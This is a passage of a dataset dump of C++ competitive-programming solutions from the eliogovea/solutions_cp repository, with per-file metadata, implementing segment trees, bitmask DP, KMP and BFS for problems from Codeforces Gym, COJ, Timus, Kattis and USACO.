n); i++) {\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tif (i & (1 << j)) cnt[i]++;\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tif (!(i & (1 << j))) {\r\n\t\t\t\t\tdp[i | (1 << j)] += dp[i] * (c[j] / (tot - (double)(cnt[i])));\r\n\t\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor (int i = 0; i < (1 << n); i++) {\r\n\t\t\tdouble tmp = 0;\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tif (i & (1 << j)) {\r\n\t\t\t\t\ttmp += (c[j] - 1.0);\r\n\t\t\t\t}\r\n\t\t\tpp[cnt[i] + 1] += dp[i] * (tmp / (tot - double(cnt[i])));\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n + 1; i++)\r\n\t\t\tans += (double(i)) * pp[i];\r\n\t\tcout.precision(3);\r\n\t\tcout << \"Case \" << cas << \": \" << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39717426896095276, "alphanum_fraction": 0.42804813385009766, "avg_line_length": 19.32978630065918, "blob_id": "57392e35d405eb8fc6f40f21b848d9f0cecac2d5", "content_id": "4d0a5ac2db892ea8c9a9e223953c8db4c5ecc3be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1911, "license_type": "no_license", "max_line_length": 85, "num_lines": 94, "path": "/Codeforces-Gym/101669 - 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)\n// 101669K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<long long,int> par;\n\nconst int MAXN = 100100;\n\nint a[MAXN];\nlong long lazy[4*MAXN];\npar mn[4*MAXN];\nvoid build_st( int nod, int l, int r ){\n if( l == r ){\n mn[nod] = par( a[l] , l );\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n build_st( ls , l , mid );\n build_st( rs , mid + 1 , r );\n\n mn[nod] = min( mn[ls] , mn[rs] );\n}\n\nvoid propagate_st( int nod, int l, int r ){\n if( lazy[nod] ){\n mn[nod].first += lazy[nod];\n if( l < r ){\n int ls = nod*2, rs = ls + 1;\n lazy[ls] += lazy[nod];\n lazy[rs] += lazy[nod];\n }\n lazy[nod] = 0;\n }\n}\n\nvoid update_st( int nod, int l, int r, int lq, int rq, int upd ){\n propagate_st( nod , l , r );\n\n if( r < lq || rq < l ){ return; }\n if( lq <= l && r <= rq ){\n lazy[nod] += upd;\n propagate_st( nod , l , r );\n return;\n }\n\n int ls = nod*2, rs = ls + 1;\n int mid = ( l + r ) / 2;\n\n update_st( ls , l , mid , lq , rq , upd );\n update_st( rs , mid + 1 , r , lq , rq , upd );\n\n mn[nod] = min( mn[ls] , mn[rs] );\n}\n\nint sol[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> a[i];\n }\n\n build_st( 1 , 1 , n );\n\n int i = n;\n while( i >= 1 ){\n //cerr << mn[1].second << '\\n';\n\n if( mn[1].first != 1 ){\n update_st( 1 , 1 , n , 1 , n , -1 );\n }\n else{\n sol[ mn[1].second ] = i;\n update_st( 1 , 1 , n , mn[1].second , mn[1].second , (1<<29) );\n i--;\n }\n }\n\n for( int i = 1; i <= n; i++ ){\n cout << sol[i] << \" \\n\"[i==n];\n }\n}\n" }, { "alpha_fraction": 0.48876404762268066, "alphanum_fraction": 0.516853928565979, "avg_line_length": 12.833333015441895, "blob_id": "222a431ee7a230ca136b4f0c2aac73222cf8614c", "content_id": "bb025be0b09e298e9f57ffcab4b0f317cae06ab4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 178, "license_type": "no_license", "max_line_length": 31, "num_lines": 12, "path": "/COJ/eliogovea-cojAC/eliogovea-p1423-Accepted-s487692.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nconst double c = sqrt(3)/4.0;\r\ndouble l;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf\",&l)!=EOF)\r\n printf(\"%.6f\\n\",c*l);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.2923794686794281, "alphanum_fraction": 0.33437013626098633, "avg_line_length": 21.88888931274414, "blob_id": "e84d1b6a85d4bcc42cc9ded34fcec135e9d2c517", "content_id": "9eb9d088b840f5df12ec6bda29c738046e653616", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 643, "license_type": "no_license", "max_line_length": 91, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1378-Accepted-s471326.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint c,n,m,a[102][102],mx;\r\n\r\nint main(){\r\n cin >> c;\r\n while(c--){\r\n\r\n for(int i=0; i<102; i++)\r\n for(int j=0; j<102; j++)a[i][j]=0;\r\n mx=0;\r\n\r\n cin >> n >> m;\r\n\r\n for(int i=1; i<=n; i++)\r\n for(int j=1; j<=m; j++)cin >> a[i][j];\r\n\r\n for(int i=1; i<=n; i++)\r\n for(int j=1; j<=m; j++)a[i][j]+=max(a[i-1][j-1],max(a[i-1][j],a[i-1][j+1]));\r\n\r\n for(int i=1; i<=m; i++)if(mx<a[n][i])mx=a[n][i];\r\n\r\n cout << mx << endl;\r\n }\r\n return 0;\r\n }" }, { "alpha_fraction": 0.3758620619773865, "alphanum_fraction": 0.41034483909606934, "avg_line_length": 20.30769157409668, "blob_id": "70bc3d6fbb8e3ec5e61d73e01e0e018c119fd792", "content_id": "5e678f2c4ad894a1ec9140d863095847772d627a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 580, "license_type": "no_license", "max_line_length": 52, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2589-Accepted-s656822.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nint n, k;\r\nll dp[1 << 17][17], a[17], sol;\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &k);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%lld\", &a[i]);\r\n\t\tdp[1 << i][i] = 1;\r\n\t}\r\n\tfor (int mask = 1; mask < (1 << n); mask++)\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tif (mask & (1 << i))\r\n\t\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\t\tif (!(mask & (1 << j)) && abs(a[j] - a[i]) > k)\r\n\t\t\t\t\t\tdp[mask | (1 << j)][j] += dp[mask][i];\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tsol += dp[(1 << n) - 1][i];\r\n\tprintf(\"%lld\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.3512064218521118, "alphanum_fraction": 0.4128686189651489, "avg_line_length": 14.34782600402832, "blob_id": "e4df526b9724c89be105e6f7038bbf8c2cf8d024", "content_id": "5948b5682fb906bed1099e13692f7c35c2cc1970", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 373, "license_type": "no_license", "max_line_length": 36, "num_lines": 23, "path": "/Timus/1353-6163042.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1353\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint dp[15][100];\r\n\r\nint main() {\r\n\tdp[0][0] = 1;\r\n\tfor (int i = 0; i < 9; i++) {\r\n\t\tfor (int j = 0; j <= 9 * i; j++) {\r\n\t\t\tfor (int k = 0; k <= 9; k++) {\r\n\t\t\t\tdp[i + 1][j + k] += dp[i][j];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tdp[9][1]++;\r\n\tint s;\r\n\tcin >> s;\r\n\tcout << dp[9][s] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3099824786186218, "alphanum_fraction": 0.38704028725624084, "avg_line_length": 17.689655303955078, "blob_id": "d8237e2457bd40bc97e767a7d93bfc5509905c81", "content_id": "0926852179f2d0c46d6a03e7ac2ebceba1143862", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 571, "license_type": "no_license", "max_line_length": 55, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p3109-Accepted-s761059.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nlong long tc, n, ans;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tans = 0;\r\n\t\tfor (long long p10 = 10; n / (p10 / 10); p10 *= 10) {\r\n\t\t\tint c = (n + 1) / p10;\r\n\t\t\tint r = (n + 1) % p10;\r\n\t\t\tans += c * (p10 / 10) * 20;\r\n\t\t\tint x = r / (p10 / 10);\r\n\t\t\tfor (int i = 2; i < x; i += 2) {\r\n ans += i * (p10 / 10);\r\n\t\t\t}\r\n\t\t\tint y = r % (p10 / 10);\r\n\t\t\tif (x == 2 || x == 4 || x == 6 || x == 8) {\r\n\t\t\t\tans += x * y;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3380829095840454, "alphanum_fraction": 0.3575129508972168, "avg_line_length": 19.864864349365234, "blob_id": "5d496c3e9184dd8bdb510d2f3377aebe32b902ab", "content_id": "b9d8ae7d3b1b704bb5c1197244ff295b40cad6d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 772, "license_type": "no_license", "max_line_length": 78, "num_lines": 37, "path": "/TOJ/1394.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\n// Name : Contest2.cpp\n// Author : sUrPRise\n// Version :\n// Copyright : Your copyright notice\n// Description : Hello World in C++, Ansi-style\n//============================================================================\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring s;\nint pi[1000005];\n\nint main() {\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\twhile (cin >> s) {\n\t\tif (s[0] == '.') {\n\t\t\tbreak;\n\t\t}\n\t\tint n = s.size();\n\t\tfor (int i = 1; i < n; i++) {\n\t\t\tint j = pi[i - 1];\n\t\t\twhile (j > 0 && s[i] != s[j]) {\n\t\t\t\tj = pi[j - 1];\n\t\t\t}\n\t\t\tif (s[i] == s[j]) {\n\t\t\t\tj++;\n\t\t\t}\n\t\t\tpi[i] = j;\n\t\t}\n\t\tint k = n - pi[n - 1];\n\t\tint ans = (n % k) ? 1 : n / k;\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.38383325934410095, "alphanum_fraction": 0.3945094048976898, "avg_line_length": 17.097087860107422, "blob_id": "49951989e51a41fb8d7da2925978b3cce311f480", "content_id": "71961aeeb1a8b80ad83b684923f070ef644c30d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1967, "license_type": "no_license", "max_line_length": 37, "num_lines": 103, "path": "/COJ/eliogovea-cojAC/eliogovea-p1594-Accepted-s708846.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <string>\r\n#include <cstring>\r\n#include <stack>\r\n#include <queue>\r\n#include <vector>\r\n#include <list>\r\n#include <set>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nint tc, a, b, c, aa, bb, cc, ans;\r\npair<int, int> x, y;\r\nmap<pair<int, int>, int > m;\r\nqueue<pair<int, int> > Q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tif (c > a && c > b) {\r\n\t\t\tprintf(\"-1\\n\");\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tans = -1;\r\n\t\tm.clear();\r\n\t\twhile (!Q.empty()) Q.pop();\r\n\t\tm[make_pair(0, 0)] = 0;\r\n\t\tQ.push(make_pair(0, 0));\r\n\t\twhile (!Q.empty()) {\r\n\t\t\tx = Q.front();\r\n\t\t\tQ.pop();\r\n\t\t\taa = x.first;\r\n\t\t\tbb = x.second;\r\n\t\t\tcc = m[x];\r\n\t\t\tif (aa == c || bb == c) {\r\n\t\t\t\tans = cc;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif (aa != 0) {\r\n\t\t\t\ty = make_pair(0, bb);\r\n\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t}\r\n\t\t\t\tif (aa <= b - bb) {\r\n\t\t\t\t\ty = make_pair(0, bb + aa);\r\n\t\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\ty = make_pair(aa - (b - bb), b);\r\n\t\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (aa != a) {\r\n\t\t\t\ty = make_pair(a, bb);\r\n\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (bb != 0) {\r\n\t\t\t\ty = make_pair(aa, 0);\r\n\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t}\r\n\t\t\t\tif (bb <= a - aa) {\r\n\t\t\t\t\ty = make_pair(aa + bb, 0);\r\n\t\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\ty = make_pair(a, bb - (a - aa));\r\n\t\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\t\tQ.push(y);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (bb != b) {\r\n\t\t\t\ty = make_pair(aa, b);\r\n\t\t\t\tif (m.find(y) == m.end()) {\r\n\t\t\t\t\tm[y] = cc + 1;\r\n\t\t\t\t\tQ.push(y);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tprintf(\"%d\\n\", ans);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.28776979446411133, "alphanum_fraction": 0.32589927315711975, "avg_line_length": 16.05194854736328, "blob_id": "f640ef80aa043fde58e795dce3ca8bd401d8e7b4", "content_id": "cfc8eea8362b1b34721d03722f0b038ddf04a2d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1390, "license_type": "no_license", "max_line_length": 65, "num_lines": 77, "path": "/COJ/eliogovea-cojAC/eliogovea-p3886-Accepted-s1123277.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100 * 1000 + 5;\r\n\r\nint n, s, w, q;\r\nint a[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> s >> w >> q;\r\n\tint g = s;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ta[i] = (g / 7) % 10;\r\n\t\tif (g % 2 == 0) {\r\n\t\t\tg /= 2;\r\n\t\t} else {\r\n\t\t\tg = (g / 2) ^ w;\r\n\t\t}\r\n\t}\r\n\r\n\t/*for (int i = 0; i < n; i++) {\r\n cerr << a[i];\r\n\t}\r\n\tcerr << \"\\n\";*/\r\n\treverse(a, a + n);\r\n\tif (q == 2) {\r\n\t\tint cnt = 0;\r\n\t\tlong long ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif ((a[i] % 2 == 0) && (a[i] != 0)) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t\tif (a[i] != 0) {\r\n\t\t\t\tans += cnt;\r\n\t\t\t}\r\n if (a[i] % 2 == 0) {\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t} else if (q == 5) {\r\n\t\tint cnt = 0;\r\n\t\tlong long ans = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (a[i] == 5) {\r\n ans++;\r\n\t\t\t}\r\n\t\t\tif (a[i] != 0) {\r\n\t\t\t\tans += cnt;\r\n\t\t\t}\r\n\t\t\tif (a[i] == 0 || a[i] == 5) {\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t} else {\r\n\t\tmap <int, int> cnt;\r\n\t\tcnt[0] = 1;\r\n\t\tint x = 0;\r\n\t\tint ans = 0;\r\n\t\tint p10 = 1;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n x = ((long long)x + (long long)p10 * a[i]) % q;\r\n p10 = (long long)p10 * 10LL % q;\r\n // cerr << a[i] << \" \" << x << \" \" << cnt[x] << \"\\n\";\r\n\t\t\tif (a[i] != 0) {\r\n\t\t\t\tans += cnt[x];\r\n\t\t\t}\r\n\t\t\tcnt[x]++;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4076620936393738, "alphanum_fraction": 0.4243614971637726, "avg_line_length": 14.966666221618652, "blob_id": "3480ed82e65db0a324613fdbdf52810da785d83e", "content_id": "bc2a0a383d38186df3e2fecb44785af4a1fc0929", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1018, "license_type": "no_license", "max_line_length": 53, "num_lines": 60, "path": "/Kattis/boxes.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200005;\r\nint n;\r\nvector <int> G[N];\r\nint P[N];\r\nint tin[N], tout[N], timer;\r\nint size[N];\r\nint q, m, v[25];\r\n\r\n\r\nvoid dfs(int u) {\r\n\tsize[u] = 1;\r\n\ttin[u] = timer++;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tdfs(v);\r\n\t\tsize[u] += size[v];\r\n\t}\r\n\ttout[u] = timer++;\r\n}\r\n\r\ninline bool ancestor(int u, int v) {\r\n\treturn ((tin[u] <= tin[v]) && (tout[v] <= tout[u]));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> P[i];\r\n\t\tG[P[i]].push_back(i);\r\n\t}\r\n\tdfs(0);\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tcin >> m;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tcin >> v[i];\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tbool ok = true;\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tif (i != j && ancestor(v[j], v[i])) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (ok) {\r\n\t\t\t\tans += size[v[i]];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33671656250953674, "alphanum_fraction": 0.3572697341442108, "avg_line_length": 22.339506149291992, "blob_id": "1406f66d39967a36c42112f96d0810d787ca8690", "content_id": "dd08454f5d35a97da0f4a88c7000890e323d9a3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3941, "license_type": "no_license", "max_line_length": 134, "num_lines": 162, "path": "/COJ/eliogovea-cojAC/eliogovea-p2007-Accepted-s1253418.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// http://www.usaco.org/index.php?page=viewproblem2&cpid=138\r\n\r\n#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <cassert>\r\n\r\nusing namespace std;\r\n\r\nstruct segmentTree {\r\n int n;\r\n vector <long long> tree;\r\n vector <long long> toAdd;\r\n\r\n segmentTree(int _n) : n(_n), tree(4 * n), toAdd(4 * n) {}\r\n\r\n void push(int x, int l, int r) {\r\n if (toAdd[x] != 0) {\r\n tree[x] += toAdd[x];\r\n if (l != r) {\r\n toAdd[2 * x] += toAdd[x];\r\n toAdd[2 * x + 1] += toAdd[x];\r\n }\r\n toAdd[x] = 0;\r\n }\r\n }\r\n\r\n void updateSet(int x, int l, int r, int p, long long v) {\r\n push(x, l, r);\r\n if (p < l || r < p) {\r\n return;\r\n }\r\n if (l == r) {\r\n tree[x] = v;\r\n } else {\r\n int m = (l + r) >> 1;\r\n updateSet(2 * x, l, m, p, v);\r\n updateSet(2 * x + 1, m + 1, r, p, v);\r\n tree[x] = min(tree[2 * x], tree[2 * x + 1]);\r\n }\r\n }\r\n\r\n void updateSet(int p, long long v) {\r\n updateSet(1, 0, n, p, v);\r\n }\r\n\r\n void updateAdd(int x, int l, int r, int ql, int qr, long long v) {\r\n push(x, l, r);\r\n if (r < ql || qr < l) {\r\n return;\r\n }\r\n if (ql <= l && r <= qr) {\r\n toAdd[x] += v;\r\n push(x, l, r);\r\n } else {\r\n int m = (l + r) >> 1;\r\n updateAdd(2 * x, l, m, ql, qr, v);\r\n updateAdd(2 * x + 1, m + 1, r, ql, qr, v);\r\n tree[x] = min(tree[2 * x], tree[2 * x + 1]);\r\n }\r\n }\r\n\r\n void updateAdd(int ql, int qr, long long v) {\r\n return updateAdd(1, 0, n, ql, qr, v);\r\n }\r\n\r\n long long query(int x, int l, int r, int ql, int qr) {\r\n push(x, l, r);\r\n if (r < ql || qr < l) {\r\n return 1e17;\r\n }\r\n if (ql <= l && r <= qr) {\r\n return tree[x];\r\n }\r\n int m = (l + r) >> 1;\r\n return min(query(2 * x, l, m, ql, qr), query(2 * x + 1, m + 1, r, ql, qr));\r\n }\r\n\r\n long long query(int ql, int qr) {\r\n return query(1, 0, n, ql, qr);\r\n }\r\n};\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n int n, l;\r\n\r\n cin >> n >> l;\r\n\r\n vector <int> h(n + 1), w(n + 1);\r\n\r\n h[0] = 1e9; // infinity\r\n w[0] = 0;\r\n\r\n for (int i = 1; i <= n; i++) {\r\n cin >> h[i] >> w[i];\r\n }\r\n\r\n vector <long long> dp(n + 1);\r\n segmentTree st(n + 1);\r\n\r\n st.updateSet(0, 0);\r\n\r\n vector <int> _stack(n + 1);\r\n int top = 0;\r\n\r\n _stack[top++] = 0;\r\n\r\n long long sumw = 0;\r\n for (int i = 1, j = 1; i <= n; i++) {\r\n // cerr << \"start \" << i << \"\\n\";\r\n\r\n sumw += w[i];\r\n while (sumw > l) {\r\n sumw -= w[j];\r\n j++;\r\n }\r\n\r\n dp[i] = 1e18;\r\n\r\n // update\r\n assert(_stack[top - 1] == i - 1);\r\n\r\n st.updateAdd(i - 1, i - 1, h[i]); /// last postition !!!\r\n\r\n while (h[_stack[top - 1]] <= h[i]) {\r\n st.updateAdd(_stack[top - 2], _stack[top - 1] - 1, h[i] - h[_stack[top - 1]]);\r\n\r\n // cerr << \"update interval [\" << _stack[top - 2] << \", \" << _stack[top - 1] << \") \" << h[i] - h[_stack[top - 1]] << \"\\n\";\r\n\r\n top--;\r\n }\r\n\r\n _stack[top++] = i;\r\n\r\n\r\n dp[i] = min(dp[i], st.query(j - 1, i - 1));\r\n\r\n // cerr << \"update: \" << i << \" \" << dp[i] << \"\\n\";\r\n\r\n st.updateAdd(i, i, dp[i]);\r\n\r\n // cerr << \"query interval: \" << j - 1 << \" \" << i - 1 << \"\\n\";\r\n // cerr << \"stack: \";\r\n // for (int i = 0; i < top; i++) {\r\n // cerr << _stack[i] << \" \";\r\n // }\r\n // cerr << \"\\n\";\r\n\r\n // cerr << \"values: \";\r\n // for (int i = 0; i <= n; i++) {\r\n // cerr << st.query(i, i) << \" \";\r\n // }\r\n // cerr << \"\\n\";\r\n // cerr << \"\\n\";\r\n\r\n }\r\n\r\n cout << dp[n] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3221052587032318, "alphanum_fraction": 0.3484210669994354, "avg_line_length": 17.387754440307617, "blob_id": "4bedd46f8ab6fe1968ecdbd3dbd930d1e65e43f7", "content_id": "98f8bb2dfdd8e02e0b34ea1088bfa963cd62c646", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 950, "license_type": "no_license", "max_line_length": 43, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3281-Accepted-s815624.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 1000000;\r\n\r\nll sum[N + 5];\r\nint ans[N + 5];\r\nint n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tsum[i] = sum[i - 1] + i;\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tll tmp = 2 * sum[i - 1] + i;\r\n\t\tll lo = 1;\r\n\t\tll hi = 1e7;\r\n\t\tbool ok = false;\r\n\t\tint pos;\r\n\t\twhile (lo <= hi) {\r\n ll mid = (lo + hi) / 2LL;\r\n ll val = mid * (mid + 1) / 2LL;\r\n if (val == tmp) {\r\n pos = mid;\r\n ok = true;\r\n break;\r\n }\r\n if (val < tmp) {\r\n lo = mid + 1;\r\n } else {\r\n hi = mid - 1;\r\n }\r\n\t\t}\r\n\t\tif (ok && pos <= N) {\r\n ans[pos]++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n ans[i] += ans[i - 1];\r\n\t}\r\n\twhile (cin >> n && n) {\r\n\t\tcout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3693379759788513, "alphanum_fraction": 0.40069687366485596, "avg_line_length": 18.457626342773438, "blob_id": "a931c3fb960e56447c2f931f1e286256ac7c3d39", "content_id": "54ba8af980a9c652cb87a5c7f8bdf16fbacb7fa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1148, "license_type": "no_license", "max_line_length": 80, "num_lines": 59, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nint sz;\n\nint s[MAXN];\nint next[MAXN];\nint l[MAXN];\nint r[MAXN];\n\nconst double EPS = 1e-9;\n\ninline bool check(int n, int p) {\n double res = 1.0;\n for (int i = 0; i < p; i++) {\n res *= ((double)n - (double)i) / (double)n;\n }\n res = 1.0 - res;\n //cerr << n << \" \" << p << \" \" << res << \" \" << (res > 0.5 + EPS) << \"\\n\";\n return (res > 0.5 + EPS);\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n cin >> n;\n\n /*for (int i = 2; i <= n; i++) {\n check(n, i);\n }\n return 0;\n */\n int ans = n + 1;\n int lo = 2;\n int hi = n;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n //cout << lo << \" \" << hi << \" \" << mid << \" \" << check(n, mid) << \"\\n\";\n //cout << mid << \" \" << check(n, mid) << \"\\n\";\n if (check(n, mid)) {\n //cout << \"asdfasfasdfs\" << ans << \"\\n\";\n ans = mid;\n hi = mid - 1;\n } else {\n lo = mid + 1;\n }\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3802395164966583, "alphanum_fraction": 0.42514970898628235, "avg_line_length": 19.24242401123047, "blob_id": "e479c4d0d65b9c8e421975e3bf177a8ec57094a3", "content_id": "01d0fc9fa7c934096060d2c2eab116794d3e9d71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 668, "license_type": "no_license", "max_line_length": 87, "num_lines": 33, "path": 